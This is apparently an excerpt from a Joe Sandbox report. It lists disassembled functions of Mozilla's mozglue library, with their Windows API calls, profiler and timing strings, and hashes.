Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: ff698f1877d4793fd90d3faf42e23938a7b33a47407d47f0afb828ae9bd0a524
Instruction ID: 1be84945678020b5c24d94113bfea9ba47491974eff2cfebc11960140b7f0eed
Opcode Fuzzy Hash: ff698f1877d4793fd90d3faf42e23938a7b33a47407d47f0afb828ae9bd0a524
Instruction Fuzzy Hash: F18105716083009FDB00DF29C880AAAB7F5EFC5308F95856DE94597B51EB30E849CB9B

Function 6C61EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
Part of subcall function 6C619420: __Init_thread_footer.LIBCMT ref: 6C61949F

GetCurrentThreadId.KERNEL32 ref: 6C61EE60
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61EE6D
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C61EEA5
CloseHandle.KERNEL32(?), ref: 6C61EEB4
free.MOZGLUE(00000000), ref: 6C61EEBB
GetCurrentThreadId.KERNEL32 ref: 6C61EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61EECF

Part of subcall function 6C61DE60: GetCurrentThreadId.KERNEL32 ref: 6C61DE73
Part of subcall function 6C61DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C5E4A68), ref: 6C61DE7B
Part of subcall function 6C61DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C5E4A68), ref: 6C61DEB8
Part of subcall function 6C61DE60: free.MOZGLUE(00000000,?,6C5E4A68), ref: 6C61DEFE
Part of subcall function 6C61DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C61DF38

Part of subcall function 6C60CBE8: GetCurrentProcess.KERNEL32(?,6C5D31A7), ref: 6C60CBF1
Part of subcall function 6C60CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5D31A7), ref: 6C60CBFA

GetCurrentThreadId.KERNEL32 ref: 6C61EF1E
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61EF2B
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61EF59
GetCurrentThreadId.KERNEL32 ref: 6C61EFB0
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61EFBD
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61EFE1
GetCurrentThreadId.KERNEL32 ref: 6C61EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61F000

Part of subcall function 6C6194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6194EE
Part of subcall function 6C6194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C619508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C61F02F

Part of subcall function 6C61F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C61F09B
Part of subcall function 6C61F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C61F0AC
Part of subcall function 6C61F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C61F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C61F008
[I %d/%d] profiler_stop, xrefs: 6C61EED7

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 22f3e534fbd88e51b9b2df107746291eae5c4f07bb97fa424bfc072b01131aa8
Instruction ID: a13ffb26a3f1973b54319232e5d005993d13ad4160e9eb8ffef0263df8222efc
Opcode Fuzzy Hash: 22f3e534fbd88e51b9b2df107746291eae5c4f07bb97fa424bfc072b01131aa8
Instruction Fuzzy Hash: 5D51F5357082109FDB00DB6AD4887AA7BB4EF8735AFB40529E91583F41D7758805CBAF

Function 6C5E5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5E5E9D

Part of subcall function 6C5F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5F56EE,?,00000001), ref: 6C5F5B85
Part of subcall function 6C5F5B50: EnterCriticalSection.KERNEL32(6C65F688,?,?,?,6C5F56EE,?,00000001), ref: 6C5F5B90
Part of subcall function 6C5F5B50: LeaveCriticalSection.KERNEL32(6C65F688,?,?,?,6C5F56EE,?,00000001), ref: 6C5F5BD8
Part of subcall function 6C5F5B50: GetTickCount64.KERNEL32 ref: 6C5F5BE4

GetCurrentThreadId.KERNEL32 ref: 6C5E5EAB
GetCurrentThreadId.KERNEL32 ref: 6C5E5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5E5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C5E6017

Part of subcall function 6C5D4310: moz_xmalloc.MOZGLUE(00000010,?,6C5D42D2), ref: 6C5D436A
Part of subcall function 6C5D4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5D42D2), ref: 6C5D4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C5E5F47
GetCurrentProcess.KERNEL32 ref: 6C5E5F53
GetCurrentThread.KERNEL32 ref: 6C5E5F5C
GetCurrentProcess.KERNEL32 ref: 6C5E5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C5E5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C5E5F27

Part of subcall function 6C5ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C5ECAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5E55E1), ref: 6C5E5E8C

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5E55E1), ref: 6C5E605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5E55E1), ref: 6C5E60CC

Strings

GeckoMain, xrefs: 6C5E5ECE, 6C5E6015

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 985ff353678303f19ffbf9b37be363784f6075c3e5b21aefbea04a605c3ce77a
Instruction ID: 3b859f8904aabc9f458b1a903f2ee8b0e1154d49472916a6f1ba0069a839595e
Opcode Fuzzy Hash: 985ff353678303f19ffbf9b37be363784f6075c3e5b21aefbea04a605c3ce77a
Instruction Fuzzy Hash: 7C71AFB0604740DFD704DF29C880A6ABBF0FF8A304F94496DE59687B52DB31E948CB96

Function 6C5E9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5D31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C5D3217
Part of subcall function 6C5D31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C5D3236
Part of subcall function 6C5D31C0: FreeLibrary.KERNEL32 ref: 6C5D324B
Part of subcall function 6C5D31C0: __Init_thread_footer.LIBCMT ref: 6C5D3260
Part of subcall function 6C5D31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C5D327F
Part of subcall function 6C5D31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5D328E
Part of subcall function 6C5D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5D32AB
Part of subcall function 6C5D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5D32D1
Part of subcall function 6C5D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5D32E5
Part of subcall function 6C5D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5D32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C5E9675
__Init_thread_footer.LIBCMT ref: 6C5E9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5E96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C5E9707
__Init_thread_footer.LIBCMT ref: 6C5E971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5E9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5E97B7
FreeLibrary.KERNEL32 ref: 6C5E97D0
FreeLibrary.KERNEL32 ref: 6C5E97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5E9824

Strings

ntdll.dll, xrefs: 6C5E96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C5E9670
NtMapViewOfSection, xrefs: 6C5E9701
MapViewOfFileNuma2, xrefs: 6C5E97B1

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 0bac033aa76c9d3f8a872fdd19b014bdfb2d2ce07b9bb34b4e0a9ebe50db40d0
Instruction ID: 05d34653fbef03fce58023a461009a76c76fee2f688051da220c0397314f96a0
Opcode Fuzzy Hash: 0bac033aa76c9d3f8a872fdd19b014bdfb2d2ce07b9bb34b4e0a9ebe50db40d0
Instruction Fuzzy Hash: 2D61F171700201AFDF00DF6AECD4B9A7BB4EB8B354FA04529E91597780D730A858CB9A

Function 6C636660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C65F618), ref: 6C636694
GetThreadId.KERNEL32(?), ref: 6C6366B1
GetCurrentThreadId.KERNEL32 ref: 6C6366B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6366E1
EnterCriticalSection.KERNEL32(6C65F618), ref: 6C636734
GetCurrentProcess.KERNEL32 ref: 6C63673A
LeaveCriticalSection.KERNEL32(6C65F618), ref: 6C63676C
GetCurrentThread.KERNEL32 ref: 6C6367FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C636868
RtlCaptureContext.NTDLL ref: 6C63687F

Strings

WalkStack64, xrefs: 6C636890

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: b95436222902d1939f6ee48191f9e438d8125395b4bf3bd80c81d91906b5dbcd
Instruction ID: 5a4afbf9f5d41ee9f595bac782edf140fde5f3fece0a6295c36dde95f4129772
Opcode Fuzzy Hash: b95436222902d1939f6ee48191f9e438d8125395b4bf3bd80c81d91906b5dbcd
Instruction Fuzzy Hash: DC51DF71A09310AFDB11CF25C884B9BBBF4BF89714F54992DF99987640D770E808CB9A

Function 6C61DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
Part of subcall function 6C619420: __Init_thread_footer.LIBCMT ref: 6C61949F

GetCurrentThreadId.KERNEL32 ref: 6C61DE73
GetCurrentThreadId.KERNEL32 ref: 6C61DF7D
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61DF8A
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61DFC9
GetCurrentThreadId.KERNEL32 ref: 6C61DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C5E4A68), ref: 6C61DE7B

Part of subcall function 6C6194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6194EE
Part of subcall function 6C6194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C619508

Part of subcall function 6C60CBE8: GetCurrentProcess.KERNEL32(?,6C5D31A7), ref: 6C60CBF1
Part of subcall function 6C60CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5D31A7), ref: 6C60CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C5E4A68), ref: 6C61DEB8
free.MOZGLUE(00000000,?,6C5E4A68), ref: 6C61DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C61DF38

Strings

<none>, xrefs: 6C61DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C61E00E
[I %d/%d] locked_profiler_stop, xrefs: 6C61DE83

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 04a80694bfe92948c3c05774580c3a0cb2847f49fe3722c28cd9c839a0ea5ee3
Instruction ID: 9e4617f139495c078254cd5e12d3ac6a1b72213652c6d1ed577c7a4d9203a4ed
Opcode Fuzzy Hash: 04a80694bfe92948c3c05774580c3a0cb2847f49fe3722c28cd9c839a0ea5ee3
Instruction Fuzzy Hash: 55412431B052109FDB11DF6AD8887AA7775EF8230EFA40019E90597F42CB319906CBEE

Function 6C62D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C62D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C62D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C62D52A
GetCurrentThreadId.KERNEL32 ref: 6C62D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C62D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C62D55F
free.MOZGLUE(00000000), ref: 6C62D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C62D5D3
GetCurrentThreadId.KERNEL32 ref: 6C62D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C62D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C62D652
GetCurrentThreadId.KERNEL32 ref: 6C62D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C62D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C62D6A2

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 196273e0d89bbf890bdb52ea2f7363690837638b935a6b9f86d3e2da2325d5b6
Instruction ID: 73cc5812aa1e2ad56b50234df0af105450e43b78cca1fe9e9d92928e4fe98561
Opcode Fuzzy Hash: 196273e0d89bbf890bdb52ea2f7363690837638b935a6b9f86d3e2da2325d5b6
Instruction Fuzzy Hash: 93519A71604705EFC704DF35C888A9ABBF4FF89358F508A2EE94A97710DB34A845CB99

Function 6C5D1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C65E784), ref: 6C5D1EC1
LeaveCriticalSection.KERNEL32(6C65E784), ref: 6C5D1EE1
EnterCriticalSection.KERNEL32(6C65E744), ref: 6C5D1F38
LeaveCriticalSection.KERNEL32(6C65E744), ref: 6C5D1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C5D1F83
LeaveCriticalSection.KERNEL32(6C65E784), ref: 6C5D1FC0
EnterCriticalSection.KERNEL32(6C65E784), ref: 6C5D1FE2
LeaveCriticalSection.KERNEL32(6C65E784), ref: 6C5D1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5D2019

Strings

MOZ_CRASH(), xrefs: 6C5D2000
Del, xrefs: 6C5D1F32
\el, xrefs: 6C5D1F3E
Del, xrefs: 6C5D1F56

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: Del$Del$MOZ_CRASH()$\el
API String ID: 2055633661-1438815362
Opcode ID: a146feb1be22ac048873c34f80c8d90231c629a87e6ceb5cf9d0f244e7763538
Instruction ID: 7a937927a90424523d5a80ea1620a873e142cdb086cc4a0cf01fd730f9a760db
Opcode Fuzzy Hash: a146feb1be22ac048873c34f80c8d90231c629a87e6ceb5cf9d0f244e7763538
Instruction Fuzzy Hash: D741B071B043168FDF01CF69CC84B6A3AB5EB8A358F650025E90597741D775A804CBEE

Function 6C5F5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C5F56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5F56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C5F56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C5F5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C5F57BC
GetTickCount64.KERNEL32 ref: 6C5F58CB
EnterCriticalSection.KERNEL32(6C65F688), ref: 6C5F58F3
__aulldiv.LIBCMT ref: 6C5F5945
LeaveCriticalSection.KERNEL32(6C65F688), ref: 6C5F59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C65F638,?,?,?,?), ref: 6C5F59E9

Strings

MOZ_APP_RESTART, xrefs: 6C5F56CC

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 013fe1f2d4307127260b8ab44edb2b9580edeea423a4f12b5007bba3db5e141e
Instruction ID: 3993a73a985e7228754418fc0a024638683cec3c1b00afd32f6e60b43626766b
Opcode Fuzzy Hash: 013fe1f2d4307127260b8ab44edb2b9580edeea423a4f12b5007bba3db5e141e
Instruction Fuzzy Hash: 1AC18E31A09740DFDB09CF29C88065ABBF1FFCA354F958A1DE4D457660D730A886CB86

Function 6C61EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
Part of subcall function 6C619420: __Init_thread_footer.LIBCMT ref: 6C61949F

GetCurrentThreadId.KERNEL32 ref: 6C61EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61EC8C

Part of subcall function 6C6194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6194EE
Part of subcall function 6C6194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C619508

GetCurrentThreadId.KERNEL32 ref: 6C61ECA1
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C61ECC5
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C61ED19
CloseHandle.KERNEL32(?), ref: 6C61ED28
free.MOZGLUE(00000000), ref: 6C61ED2F
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C61EC94

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
